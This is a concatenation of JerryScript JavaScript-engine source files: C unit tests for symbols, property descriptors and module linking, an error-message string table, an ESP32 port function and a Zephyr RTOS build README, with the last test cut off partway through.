(bar_symbol_string_size == (sizeof (SYMBOL_DESCIPTION_BAR) - 1)); jerry_string_to_char_buffer (bar_symbol_string, str_buff, bar_symbol_string_size); TEST_ASSERT (memcmp (str_buff, STRING_BAR, sizeof (SYMBOL_DESCIPTION_BAR) - 1) == 0); jerry_release_value (bar_symbol_string); jerry_release_value (bar_symbol); /* Test symbol get description operation with undefined description */ jerry_value_t undefined_value = jerry_create_undefined (); jerry_value_t undefined_symbol = jerry_create_symbol (undefined_value); jerry_release_value (undefined_value); TEST_ASSERT (!jerry_value_is_error (bar_symbol)); TEST_ASSERT (jerry_value_is_symbol (bar_symbol)); undefined_value = jerry_get_symbol_description (undefined_symbol); TEST_ASSERT (jerry_value_is_undefined (undefined_value)); jerry_release_value (undefined_value); jerry_release_value (undefined_symbol); /* Test symbol to string operation with non-symbol argument */ jerry_value_t null_value = jerry_create_null (); jerry_value_t to_string_value = jerry_get_symbol_descriptive_string (null_value); TEST_ASSERT (jerry_value_is_error (to_string_value)); error_obj = jerry_get_value_from_error (to_string_value, true); TEST_ASSERT (jerry_get_error_type (error_obj) == JERRY_ERROR_TYPE); jerry_release_value (error_obj); jerry_release_value (null_value); const jerry_char_t obj_src[] = "" "({" " [Symbol.asyncIterator]: 1," " [Symbol.hasInstance]: 2," " [Symbol.isConcatSpreadable]: 3," " [Symbol.iterator]: 4," " [Symbol.match]: 5," " [Symbol.replace]: 6," " [Symbol.search]: 7," " [Symbol.species]: 8," " [Symbol.split]: 9," " [Symbol.toPrimitive]: 10," " [Symbol.toStringTag]: 11," " [Symbol.unscopables]: 12," " [Symbol.matchAll]: 13," "})"; const char *symbols[] = { "asyncIterator", "hasInstance", "isConcatSpreadable", "iterator", "match", "replace", "search", "species", "split", "toPrimitive", "toStringTag", "unscopables", "matchAll", }; jerry_value_t obj = jerry_eval (obj_src, sizeof (obj_src) - 1, JERRY_PARSE_NO_OPTS); TEST_ASSERT (jerry_value_is_object (obj)); jerry_value_t global_obj = jerry_get_global_object (); jerry_value_t symbol_str = jerry_create_string ((const jerry_char_t *) "Symbol"); jerry_value_t builtin_symbol = jerry_get_property (global_obj, symbol_str); TEST_ASSERT (jerry_value_is_object (builtin_symbol)); double expected = 1.0; uint32_t prop_index = 0; for (jerry_well_known_symbol_t id = JERRY_SYMBOL_ASYNC_ITERATOR; id <= JERRY_SYMBOL_MATCH_ALL; id++, expected++, prop_index++) { jerry_value_t well_known_symbol = jerry_get_well_known_symbol (id); jerry_value_t prop_str = jerry_create_string ((const jerry_char_t *) symbols[prop_index]); jerry_value_t current_global_symbol = jerry_get_property (builtin_symbol, prop_str); jerry_release_value (prop_str); jerry_value_t relation = jerry_binary_operation (JERRY_BIN_OP_STRICT_EQUAL, well_known_symbol, current_global_symbol); TEST_ASSERT (jerry_value_is_boolean (relation) && jerry_value_is_true (relation)); jerry_release_value (relation); jerry_value_t prop_result_wn = jerry_get_property (obj, well_known_symbol); jerry_value_t prop_result_global = jerry_get_property (obj, current_global_symbol); TEST_ASSERT (jerry_value_is_number (prop_result_wn)); double number_wn = jerry_get_number_value (prop_result_wn); TEST_ASSERT (number_wn == expected); TEST_ASSERT (jerry_value_is_number (prop_result_global)); double number_global = jerry_get_number_value (prop_result_global); TEST_ASSERT (number_global == expected); jerry_release_value (prop_result_global); jerry_release_value (prop_result_wn); jerry_release_value (current_global_symbol); jerry_release_value (well_known_symbol); } jerry_release_value (builtin_symbol); /* Deletion of the 'Symbol' builtin makes the well-known symbols unaccessible from JS context but the symbols still can be obtained via 'jerry_get_well_known_symbol' */ const jerry_char_t deleter_src[] = "delete Symbol"; jerry_value_t deleter = jerry_eval (deleter_src, sizeof (deleter_src) - 1, JERRY_PARSE_NO_OPTS); TEST_ASSERT (jerry_value_is_boolean (deleter) && jerry_value_is_true (deleter)); jerry_release_value (deleter); builtin_symbol = jerry_get_property (global_obj, symbol_str); TEST_ASSERT (jerry_value_is_undefined (builtin_symbol)); jerry_release_value (builtin_symbol); expected = 1.0; prop_index = 0; for (jerry_well_known_symbol_t id = JERRY_SYMBOL_ASYNC_ITERATOR; id <= JERRY_SYMBOL_MATCH_ALL; id++, expected++, prop_index++) { jerry_value_t well_known_symbol = jerry_get_well_known_symbol (id); jerry_value_t prop_result_wn = jerry_get_property (obj, well_known_symbol); TEST_ASSERT (jerry_value_is_number (prop_result_wn)); double number_wn = jerry_get_number_value (prop_result_wn); TEST_ASSERT (number_wn == expected); jerry_release_value (prop_result_wn); jerry_release_value (well_known_symbol); } jerry_well_known_symbol_t invalid_symbol = (jerry_well_known_symbol_t) (JERRY_SYMBOL_MATCH_ALL + 1); jerry_value_t invalid_well_known_symbol = jerry_get_well_known_symbol (invalid_symbol); TEST_ASSERT (jerry_value_is_undefined (invalid_well_known_symbol)); jerry_release_value (invalid_well_known_symbol); invalid_symbol = (jerry_well_known_symbol_t) (JERRY_SYMBOL_ASYNC_ITERATOR - 1); invalid_well_known_symbol = jerry_get_well_known_symbol (invalid_symbol); TEST_ASSERT (jerry_value_is_undefined (invalid_well_known_symbol)); jerry_release_value (invalid_well_known_symbol); jerry_release_value (symbol_str); jerry_release_value (global_obj); jerry_release_value (obj); jerry_cleanup (); return 0; } /* main */ <file_sep>/* Copyright JS Foundation and other contributors, http://js.foundation * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "ecma-errors.h" #if JERRY_ERROR_MESSAGES /** * Error message, if an argument is has an error flag */ const char * const ecma_error_value_msg_p = "Argument cannot be marked as error"; /** * Error message, if an argument has a wrong type */ const char * const ecma_error_wrong_args_msg_p = "This type of argument is not allowed"; #if !JERRY_PARSER /** * Error message, if parsing is disabled */ const char * const ecma_error_parser_not_supported_p = "Source code parsing is disabled"; #endif /* !JERRY_PARSER */ #if !JERRY_BUILTIN_JSON /** * Error message, if JSON support is disabled */ const char * const ecma_error_json_not_supported_p = "JSON support is disabled"; #endif /* !JERRY_BUILTIN_JSON */ #if !JERRY_ESNEXT /** * Error message, if Symbol support is disabled */ const char * const ecma_error_symbol_not_supported_p = "Symbol support is disabled"; /** * Error message, if Promise support is disabled */ const char * const ecma_error_promise_not_supported_p = "Promise support is disabled"; #endif /* !JERRY_ESNEXT */ #if !JERRY_BUILTIN_TYPEDARRAY /** * Error message, if TypedArray support is disabled */ const char * const ecma_error_typed_array_not_supported_p = "TypedArray support is disabled"; #endif /* !JERRY_BUILTIN_TYPEDARRAY */ #if !JERRY_BUILTIN_SHAREDARRAYBUFFER /** * Error message, if SharedArrayBuffer support is disabled */ const char * const ecma_error_shared_arraybuffer_not_supported_p = "SharedArrayBuffer support is disabled"; #endif /* !JERRY_BUILTIN_SHAREDARRAYBUFFER */ #if !JERRY_BUILTIN_DATAVIEW /** * Error message, if DataView support is disabled */ const char * const ecma_error_data_view_not_supported_p = "DataView support is disabled"; #endif /* !JERRY_BUILTIN_DATAVIEW */ #if !JERRY_BUILTIN_BIGINT /** * Error message, if BigInt support is disabled */ const char * const ecma_error_bigint_not_supported_p = "BigInt support is disabled"; #endif /* !JERRY_BUILTIN_BIGINT */ #if !JERRY_BUILTIN_CONTAINER /** * Error message, if Container support is disabled */ const char * const ecma_error_container_not_supported_p = "Container support is disabled"; #endif /* JERRY_BUILTIN_CONTAINER */ #if JERRY_MODULE_SYSTEM /** * Error message, if argument is not a module */ const char * const ecma_error_not_module_p = "Argument is not a module"; /** * Error message, if a native module export is not found */ const char * const ecma_error_unknown_export_p = "Native module export not found"; #else /* !JERRY_MODULE_SYSTEM */ /** * Error message, if Module support is disabled */ const char * const ecma_error_module_not_supported_p = "Module support is disabled"; #endif /* JERRY_MODULE_SYSTEM */ /** * Error message, if callback function is not callable */ const char * const ecma_error_callback_is_not_callable = "Callback function is not callable"; /** * Error message, if arrayBuffer is detached */ const char * const ecma_error_arraybuffer_is_detached = "ArrayBuffer has been detached"; /** * Error message, cannot convert undefined or null to object */ const char * const ecma_error_cannot_convert_to_object = "Cannot convert undefined or null to object"; /** * Error message, prototype property of a class is non-configurable */ const char * const ecma_error_class_is_non_configurable = "Prototype property of a class is non-configurable"; /** * Error message, argument is not an object */ const char * const ecma_error_argument_is_not_an_object = "Argument is not an object"; /** * Error message length of 'ecma_error_argument_is_not_an_object' */ const int ecma_error_argument_is_not_an_object_length = 25; /** * Error message, argument is not a Proxy object */ const char * const ecma_error_argument_is_not_a_proxy = "Argument is not a Proxy object"; /** * Error message, target is not a constructor */ const char * const ecma_error_target_is_not_a_constructor = "Target is not a constructor"; /** * Error message, argument is not an regexp */ const char * const ecma_error_argument_is_not_an_regexp = "Argument 'this' is not a RegExp object"; /** * Error message, invalid array length */ const char * const ecma_error_invalid_array_length = "Invalid Array length"; /** * Error message, local variable is redeclared */ const char * const ecma_error_local_variable_is_redeclared = "Local variable is redeclared"; /** * Error message, expected a function */ const char * const ecma_error_expected_a_function = "Expected a function"; #if JERRY_ESNEXT /** * Error message, class constructor invoked without new keyword */ const char * const ecma_error_class_constructor_new = "Class constructor cannot be invoked without 'new'"; /** * Error message, variables declared by let/const must be initialized before reading their value */ const char * const ecma_error_let_const_not_initialized = ("Variables declared by let/const must be" " initialized before reading their value"); #endif /* JERRY_ESNEXT */ #endif /* JERRY_ERROR_MESSAGES */ #if JERRY_SNAPSHOT_SAVE || JERRY_SNAPSHOT_EXEC /** * Error message, maximum snapshot size reached */ const char * const ecma_error_maximum_snapshot_size = "Maximum snapshot size reached"; /** * Error message, regular expressions literals are not supported */ const char * const ecma_error_regular_expression_not_supported = "Regular expression literals are not supported"; /** * Error message, snapshot buffer too small */ const char * const ecma_error_snapshot_buffer_small = "Snapshot buffer too small"; /** * Error message, Unsupported generate snapshot flags specified */ const char * const ecma_error_snapshot_flag_not_supported = "Unsupported generate snapshot flags specified"; /** * Error message, Cannot allocate memory for literals */ const char * const ecma_error_cannot_allocate_memory_literals = "Cannot allocate memory for literals"; /** * Error message, Unsupported feature: tagged template literals */ const char * const ecma_error_tagged_template_literals = "Unsupported feature: tagged template literals"; #endif /* JERRY_SNAPSHOT_SAVE || JERRY_SNAPSHOT_EXEC */ <file_sep>/* Copyright JS Foundation and other contributors, http://js.foundation * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "jerryscript.h" #include "test-common.h" int main (void) { TEST_INIT (); jerry_init (JERRY_INIT_EMPTY); /* Test: init property descriptor */ jerry_property_descriptor_t prop_desc = jerry_property_descriptor_create (); TEST_ASSERT (prop_desc.flags == JERRY_PROP_NO_OPTS); TEST_ASSERT (jerry_value_is_undefined (prop_desc.value)); TEST_ASSERT (jerry_value_is_undefined (prop_desc.getter)); TEST_ASSERT (jerry_value_is_undefined (prop_desc.setter)); /* Test: define own properties */ jerry_value_t global_obj_val = jerry_get_global_object (); jerry_value_t prop_name = jerry_create_string ((const jerry_char_t *) "my_defined_property"); prop_desc.flags |= JERRY_PROP_IS_VALUE_DEFINED; prop_desc.value = jerry_acquire_value (prop_name); jerry_value_t res = jerry_define_own_property (global_obj_val, prop_name, &prop_desc); TEST_ASSERT (jerry_value_is_boolean (res) && jerry_value_is_true (res)); jerry_release_value (res); jerry_property_descriptor_free (&prop_desc); /* Test: define own property with error */ prop_desc = jerry_property_descriptor_create (); prop_desc.flags |= JERRY_PROP_IS_VALUE_DEFINED | JERRY_PROP_SHOULD_THROW; prop_desc.value = jerry_create_number (3.14); res = jerry_define_own_property (global_obj_val, prop_name, &prop_desc); TEST_ASSERT (jerry_value_is_error (res)); jerry_release_value (res); jerry_property_descriptor_free (&prop_desc); /* Test: test define own property failure without throw twice */ prop_desc = jerry_property_descriptor_create (); prop_desc.flags |= JERRY_PROP_IS_VALUE_DEFINED | JERRY_PROP_IS_GET_DEFINED; res = jerry_define_own_property (prop_name, prop_name, &prop_desc); TEST_ASSERT (jerry_value_is_boolean (res) && !jerry_value_is_true (res)); jerry_release_value (res); res = jerry_define_own_property (global_obj_val, prop_name, &prop_desc); TEST_ASSERT (jerry_value_is_boolean (res) && !jerry_value_is_true (res)); jerry_release_value (res); jerry_property_descriptor_free (&prop_desc); /* Test: get own property descriptor */ prop_desc = jerry_property_descriptor_create (); jerry_value_t is_ok = jerry_get_own_property_descriptor (global_obj_val, prop_name, &prop_desc); TEST_ASSERT (jerry_value_is_boolean (is_ok) && jerry_value_is_true (is_ok)); jerry_release_value (is_ok); TEST_ASSERT (prop_desc.flags & JERRY_PROP_IS_VALUE_DEFINED); TEST_ASSERT (jerry_value_is_string (prop_desc.value)); TEST_ASSERT (!(prop_desc.flags & JERRY_PROP_IS_WRITABLE)); TEST_ASSERT (!(prop_desc.flags & JERRY_PROP_IS_ENUMERABLE)); TEST_ASSERT (!(prop_desc.flags & JERRY_PROP_IS_CONFIGURABLE)); TEST_ASSERT (!(prop_desc.flags & JERRY_PROP_IS_GET_DEFINED)); TEST_ASSERT (jerry_value_is_undefined (prop_desc.getter)); TEST_ASSERT (!(prop_desc.flags & JERRY_PROP_IS_SET_DEFINED)); TEST_ASSERT (jerry_value_is_undefined (prop_desc.setter)); jerry_property_descriptor_free (&prop_desc); if (jerry_is_feature_enabled (JERRY_FEATURE_PROXY)) { /* Note: update this test when the internal method is implemented */ jerry_value_t target = jerry_create_object (); jerry_value_t handler = jerry_create_object (); jerry_value_t proxy = jerry_create_proxy (target, handler); jerry_release_value (target); jerry_release_value (handler); is_ok = jerry_get_own_property_descriptor (proxy, prop_name, &prop_desc); TEST_ASSERT (jerry_value_is_boolean (is_ok) && !jerry_value_is_true (is_ok)); jerry_release_value (is_ok); jerry_release_value (proxy); } jerry_release_value (prop_name); /* Test: define and get own property descriptor */ prop_desc.flags |= JERRY_PROP_IS_ENUMERABLE; prop_name = jerry_create_string ((const jerry_char_t *) "enumerable-property"); res = jerry_define_own_property (global_obj_val, prop_name, &prop_desc); TEST_ASSERT (!jerry_value_is_error (res)); TEST_ASSERT (jerry_value_is_boolean (res)); TEST_ASSERT (jerry_value_is_true (res)); jerry_release_value (res); jerry_property_descriptor_free (&prop_desc); is_ok = jerry_get_own_property_descriptor (global_obj_val, prop_name, &prop_desc); TEST_ASSERT (jerry_value_is_boolean (is_ok) && jerry_value_is_true (is_ok)); jerry_release_value (is_ok); TEST_ASSERT (!(prop_desc.flags & JERRY_PROP_IS_WRITABLE)); TEST_ASSERT (prop_desc.flags & JERRY_PROP_IS_ENUMERABLE); TEST_ASSERT (!(prop_desc.flags & JERRY_PROP_IS_CONFIGURABLE)); jerry_release_value (prop_name); jerry_release_value (global_obj_val); /* Test: define own property descriptor error */ prop_desc = jerry_property_descriptor_create (); prop_desc.flags |= JERRY_PROP_IS_VALUE_DEFINED; prop_desc.value = jerry_create_number (11); jerry_value_t obj_val = jerry_create_object (); prop_name = jerry_create_string ((const jerry_char_t *) "property_key"); res = jerry_define_own_property (obj_val, prop_name, &prop_desc); TEST_ASSERT (!jerry_value_is_error (res)); jerry_release_value (res); jerry_release_value (prop_desc.value); prop_desc.value = jerry_create_number (22); res = jerry_define_own_property (obj_val, prop_name, &prop_desc); TEST_ASSERT (jerry_value_is_error (res)); jerry_release_value (res); jerry_release_value (prop_name); jerry_release_value (obj_val); jerry_cleanup (); return 0; } /* main */ <file_sep>### About This folder contains files to integrate JerryScript with Zephyr RTOS (https://zephyrproject.org/). ### How to build #### 1. Preface 1. Directory structure Assume `harmony` as the path to the projects to build. The folder tree related would look like this. ``` harmony + jerryscript | + targets | + zephyr + zephyr-project ``` 2. Target boards/emulations Following Zephyr boards are known to work: qemu_x86, qemu_cortex_m3, frdm_k64f. But generally, any board supported by Zephyr should work, as long as it has enough Flash and RAM (boards which don't have enough of those, will simply have link-time errors of ROM/RAM overflow). #### 2. Prepare Zephyr Follow [this](https://www.zephyrproject.org/doc/getting_started/getting_started.html) page to get the Zephyr source and configure the environment. If you just start with Zephyr, you may want to follow "Building a Sample Application" section in the doc above and check that you can flash your target board. Remember to source the Zephyr environment as explained in the zephyr documentation: ``` cd zephyr-project source zephyr-env.sh export ZEPHYR_GCC_VARIANT=zephyr export ZEPHYR_SDK_INSTALL_DIR=<sdk installation directory> ``` #### 3. Build JerryScript for Zephyr QEMU The easiest way is to build and run on a QEMU emulator: For x86 architecture: ``` make -f ./targets/zephyr/Makefile.zephyr BOARD=qemu_x86 run ``` For ARM (Cortex-M) architecture: ``` make -f ./targets/zephyr/Makefile.zephyr BOARD=qemu_cortex_m3 run ``` #### 4. Build for a real board Below, we build for NXP FRDM-K64F board (`frdm_k64f` Zephyr board identifier). Building for other boards is similar. You are expected to read [Supported Boards](https://docs.zephyrproject.org/latest/boards/index.html) section in the Zephyr documentation for more information about Zephyr's support for a particular board, means to flash binaries, etc. ``` # assuming you are in top-level folder cd jerryscript make -f ./targets/zephyr/Makefile.zephyr BOARD=frdm_k64f ``` At the end of the build, you will be given a path to and stats about the ELF binary: ``` ... Finished text data bss dec hex filename 117942 868 24006 142816 22de0 build/frdm_k64f/zephyr/zephyr/zephyr.elf ``` Flashing the binary depends on a particular board used (see links above). For the FRDM-K64F used as the example, you should copy the *raw* binary file corresponding to the ELF file above (at `build/frdm_k64f/zephyr/zephyr/zephyr.bin`) to the USB drive appearing after connecting the board to a computer: ``` cp build/frdm_k64f/zephyr/zephyr/zephyr.bin /media/pfalcon/DAPLINK/ ``` To interact with JerryScript, connect to a board via serial connection and press Reset button (you first should wait while LEDs on the board stop blinking). For `frdm_k64f`: ``` picocom -b115200 /dev/ttyACM0 ``` You should see something similar to this: ``` JerryScript build: Aug 11 2021 16:03:07 JerryScript API 3.0.0 Zephyr version 2.6.99 js> ``` Run the example javascript command test function ``` js> var test=0; for (t=100; t<1000; t++) test+=t; print ('Hi JS World! '+test); Hi JS World! 494550 ``` Try a more complex function: ``` js> function hello(t) {t=t*10;return t}; print("result"+hello(10.5)); ``` <file_sep>/* Copyright JS Foundation and other contributors, http://js.foundation * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include "freertos/FreeRTOS.h" #include "freertos/task.h" #include "esp_system.h" #include "esp_log.h" #include "jerryscript-port.h" static const char TAG[] = "JS"; /** * Default implementation of jerry_port_fatal. Calls 'abort' if exit code is * non-zero, 'exit' otherwise. */ void jerry_port_fatal (jerry_fatal_code_t code) /**< cause of error */ { ESP_LOGE(TAG, "Fatal error %d", code); vTaskSuspend(NULL); abort(); } /* jerry_port_fatal */ <file_sep>/* Copyright JS Foundation and other contributors, http://js.foundation * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include <string.h> #include "jerryscript.h" #include "test-common.h" static void compare_specifier (jerry_value_t specifier, /* string value */ int id) /* module id */ { jerry_char_t string[] = "XX_module.mjs"; TEST_ASSERT (id >= 1 && id <= 99 && string[0] == 'X' && string[1] == 'X'); string[0] = (jerry_char_t) ((id / 10) + '0'); string[1] = (jerry_char_t) ((id % 10) + '0'); jerry_size_t length = (jerry_size_t) (sizeof (string) - 1); jerry_char_t buffer[sizeof (string) - 1]; TEST_ASSERT (jerry_value_is_string (specifier)); TEST_ASSERT (jerry_get_string_size (specifier) == length); TEST_ASSERT (jerry_string_to_char_buffer (specifier, buffer, length) == length); TEST_ASSERT (memcmp (buffer, string, length) == 0); } /* compare_specifier */ static void compare_property (jerry_value_t namespace_object, /**< namespace object */ const char *name_p, /**< property name */ double expected_value) /**< property value (number for simplicity) */ { jerry_value_t name = jerry_create_string ((const jerry_char_t *) name_p); jerry_value_t result = jerry_get_property (namespace_object, name); TEST_ASSERT (jerry_value_is_number (result)); TEST_ASSERT (jerry_get_number_value (result) == expected_value); jerry_release_value (result); jerry_release_value (name); } /* compare_property */ static jerry_value_t create_module (int id) /**< module id */ { jerry_parse_options_t module_parse_options; module_parse_options.options = JERRY_PARSE_MODULE; jerry_value_t result; if (id == 0) { jerry_char_t source[] = "export var a = 7"; result = jerry_parse (source, sizeof (source) - 1, &module_parse_options); } else { jerry_char_t source[] = "export {a} from 'XX_module.mjs'"; TEST_ASSERT (id >= 1 && id <= 99 && source[17] == 'X' && source[18] == 'X'); source[17] = (jerry_char_t) ((id / 10) + '0'); source[18] = (jerry_char_t) ((id % 10) + '0'); result = jerry_parse (source, sizeof (source) - 1, &module_parse_options); } TEST_ASSERT (!jerry_value_is_error (result)); return result; } /* create_module */ static int counter = 0; static jerry_value_t module; static jerry_value_t resolve_callback1 (const jerry_value_t specifier, /**< module specifier */ const jerry_value_t referrer, /**< parent module */ void *user_p) /**< user data */ { TEST_ASSERT (user_p == (void *) &module); TEST_ASSERT (referrer == module); compare_specifier (specifier, 1); counter++; return counter == 1 ? jerry_create_number (7) : jerry_create_object (); } /* resolve_callback1 */ static jerry_value_t prev_module; static bool terminate_with_error; static jerry_value_t resolve_callback2 (const jerry_value_t specifier, /**< module specifier */ const jerry_value_t referrer, /**< parent module */ void *user_p) /**< user data */ { TEST_ASSERT (prev_module == referrer); TEST_ASSERT (user_p == NULL); compare_specifier (specifier, ++counter); if (counter >= 32) { if (terminate_with_error) { return jerry_create_error (JERRY_ERROR_RANGE, (const jerry_char_t *) "Module not found"); } return create_module (0); } prev_module = create_module (counter + 1); return prev_module; } /* resolve_callback2 */ static jerry_value_t resolve_callback3 (const jerry_value_t specifier, /**< module specifier */ const jerry_value_t referrer, /**< parent module */ void *user_p) /**< user data */ { (void) specifier; (void) referrer; (void) user_p; TEST_ASSERT (false); } /* resolve_callback3 */ static jerry_value_t native_module_evaluate (const jerry_value_t native_module) /**< native module */ { ++counter; TEST_ASSERT (jerry_module_get_state (module) == JERRY_MODULE_STATE_EVALUATING); jerry_value_t exp_val = jerry_create_string ((const jerry_char_t *) "exp"); jerry_value_t other_exp_val = jerry_create_string ((const jerry_char_t *) "other_exp"); /* The native module has no such export. */ jerry_value_t no_exp_val = jerry_create_string ((const jerry_char_t *) "no_exp"); jerry_value_t result = jerry_native_module_get_export (native_module, exp_val); TEST_ASSERT (jerry_value_is_undefined (result)); jerry_release_value (result); result = jerry_native_module_get_export (native_module, other_exp_val); TEST_ASSERT (jerry_value_is_undefined (result)); jerry_release_value (result); result = jerry_native_module_get_export (native_module, no_exp_val); TEST_ASSERT (jerry_value_is_error (result)); TEST_ASSERT (jerry_get_error_type (result) == JERRY_ERROR_REFERENCE); jerry_release_value (result); jerry_value_t export = jerry_create_number (3.5); result = jerry_native_module_set_export (native_module, exp_val, export); TEST_ASSERT (jerry_value_is_boolean (result) && jerry_value_is_true (result)); jerry_release_value (result); jerry_release_value (export); export = jerry_create_string ((const jerry_char_t *) "str"); result = jerry_native_module_set_export (native_module, other_exp_val, export); TEST_ASSERT (jerry_value_is_boolean (result) && jerry_value_is_true (result)); jerry_release_value (result); jerry_release_value (export); result = jerry_native_module_set_export (native_module, no_exp_val, no_exp_val); TEST_ASSERT (jerry_value_is_error (result)); TEST_ASSERT (jerry_get_error_type (result) == JERRY_ERROR_REFERENCE); jerry_release_value (result); result = jerry_native_module_get_export (native_module, exp_val); TEST_ASSERT (jerry_value_is_number (result) && jerry_get_number_value (result) == 3.5); jerry_release_value (result); result = jerry_native_module_get_export (native_module, other_exp_val); TEST_ASSERT (jerry_value_is_string (result)); jerry_release_value (result); jerry_release_value (exp_val); jerry_release_value (other_exp_val); jerry_release_value (no_exp_val); if (counter == 4) { ++counter; return jerry_create_error (JERRY_ERROR_COMMON, (const jerry_char_t *) "Ooops!"); } return jerry_create_undefined (); } /* native_module_evaluate */ static jerry_value_t resolve_callback4 (const jerry_value_t specifier, /**< module specifier */ const jerry_value_t referrer, /**< parent module */ void *user_p) /**< user data */ { (void) specifier; (void) referrer; ++counter; jerry_value_t exports[2] = { jerry_create_string ((const jerry_char_t *) "exp"), jerry_create_string ((const jerry_char_t *) "other_exp") }; jerry_value_t native_module = jerry_native_module_create (native_module_evaluate, exports, 2); TEST_ASSERT (!jerry_value_is_error (native_module)); jerry_release_value (exports[0]); jerry_release_value (exports[1]); *((jerry_value_t *) user_p) = jerry_acquire_value (native_module); return native_module; } /* resolve_callback4 */ static void module_state_changed (jerry_module_state_t new_state, /**< new state of the module */ const jerry_value_t module_val, /**< a module whose state is changed */ const jerry_value_t value, /**< value argument */ void *user_p) /**< user pointer */ { TEST_ASSERT (jerry_module_get_state (module_val) == new_state); TEST_ASSERT (module_val == module); TEST_ASSERT (user_p == (void *) &counter); ++counter; switch (counter) { case 1: case 3: { TEST_ASSERT (new_state == JERRY_MODULE_STATE_LINKED); TEST_ASSERT (jerry_value_is_undefined (value)); break; } case 2: { TEST_ASSERT (new_state == JERRY_MODULE_STATE_EVALUATED); TEST_ASSERT (jerry_value_is_number (value) && jerry_get_number_value (value) == 33.5); break; } default: { TEST_ASSERT (counter == 4); TEST_ASSERT (new_state == JERRY_MODULE_STATE_ERROR); TEST_ASSERT (jerry_value_is_number (value) && jerry_get_number_value (value) == -5.5); break; } } } /* module_state_changed */ static jerry_value_t resolve_callback5 (const jerry_value_t specifier, /**< module specifier */ const jerry_value_t referrer, /**< parent module */ void *user_p) /**< user data */ { (void) specifier; (void) user_p; /* This circular reference is valid. However, import resolving triggers * a SyntaxError, because the module does not export a default binding. */ return referrer; } /* resolve_callback5 */ int main (void) { jerry_init (JERRY_INIT_EMPTY); if (!jerry_is_feature_enabled (JERRY_FEATURE_MODULE)) { jerry_port_log (JERRY_LOG_LEVEL_ERROR, "Module is disabled!\n"); jerry_cleanup (); return 0; } jerry_value_t number = jerry_create_number (5); jerry_value_t object = jerry_create_object (); jerry_value_t result = jerry_module_link (number, resolve_callback1, NULL); TEST_ASSERT (jerry_value_is_error (result)); jerry_release_value (result); result = jerry_module_link (object, resolve_callback1, NULL); TEST_ASSERT (jerry_value_is_error (result)); jerry_release_value (result); module = create_module (1); /* After an error, module must remain in unlinked mode. */ result = jerry_module_link (module, resolve_callback1, (void *) &module); TEST_ASSERT (jerry_value_is_error (result)); TEST_ASSERT (counter == 1); jerry_release_value (result); result = jerry_module_link (module, resolve_callback1, (void *) &module); TEST_ASSERT (jerry_value_is_error (result)); TEST_ASSERT (counter == 2); jerry_release_value (result); prev_module = module; counter = 0; terminate_with_error = true; result = jerry_module_link (module, resolve_callback2, NULL); TEST_ASSERT (jerry_value_is_error (result)); TEST_ASSERT (counter == 32); jerry_release_value (result); /* The successfully resolved modules is kept around in unlinked state. */ jerry_gc (JERRY_GC_PRESSURE_HIGH); counter = 31; terminate_with_error = false; result = jerry_module_link (module, resolve_callback2, NULL); TEST_ASSERT (jerry_value_is_boolean (result) && jerry_value_is_true (result)); TEST_ASSERT (counter == 32); jerry_release_value (result); TEST_ASSERT (jerry_module_get_state (module) == JERRY_MODULE_STATE_LINKED); TEST_ASSERT (jerry_module_get_number_of_requests (module) == 1); result = jerry_module_get_request (module, 0); TEST_ASSERT (jerry_module_get_state (module) == JERRY_MODULE_STATE_LINKED); jerry_release_value (result); jerry_release_value (module); module = create_module (1); prev_module = module; counter = 0; terminate_with_error = false; result = jerry_module_link (module, resolve_callback2, NULL); TEST_ASSERT (jerry_value_is_boolean (result) && jerry_value_is_true (result)); TEST_ASSERT (counter == 32); jerry_release_value (result); jerry_release_value (module); TEST_ASSERT (jerry_module_get_state (number) == JERRY_MODULE_STATE_INVALID); jerry_parse_options_t module_parse_options; module_parse_options.options = JERRY_PARSE_MODULE; jerry_char_t source1[] = TEST_STRING_LITERAL ( "import a from '16_module.mjs'\n" "export * from '07_module.mjs'\n" "export * from '44_module.mjs'\n" "import * as b from '36_module.mjs'\n" ); module = jerry_parse (source1, sizeof (source1) - 1, &module_parse_options); TEST_ASSERT (!jerry_value_is_error (module)); TEST_ASSERT (jerry_module_get_state (module) == JERRY_MODULE_STATE_UNLINKED); TEST_ASSERT (jerry_module_get_number_of_requests (number) == 0); TEST_ASSERT (jerry_module_get_number_of_requests (module) == 4); result = jerry_module_get_request (object, 0); TEST_ASSERT (jerry_value_is_error (result)); jerry_release_value (result); result = jerry_module_get_request (module, 0); compare_specifier (result, 16); jerry_release_value (result); result = jerry_module_get_request (module, 1); compare_specifier (result, 7); jerry_release_value (result); result = jerry_module_get_request (module, 2); compare_specifier (result, 44); jerry_release_value (result); result = jerry_module_get_request (module, 3); compare_specifier (result, 36); jerry_release_value (result); result = jerry_module_get_request (module, 4); TEST_ASSERT (jerry_value_is_error (result)); jerry_release_value (result); jerry_release_value (module); result = jerry_module_get_namespace (number); TEST_ASSERT (jerry_value_is_error (result)); jerry_release_value (result); jerry_char_t source2[] = TEST_STRING_LITERAL ( "export let a = 6\n" "export let b = 8.5\n" ); module = jerry_parse (source2, sizeof (source2) - 1, &module_parse_options); TEST_ASSERT (!jerry_value_is_error (module)); 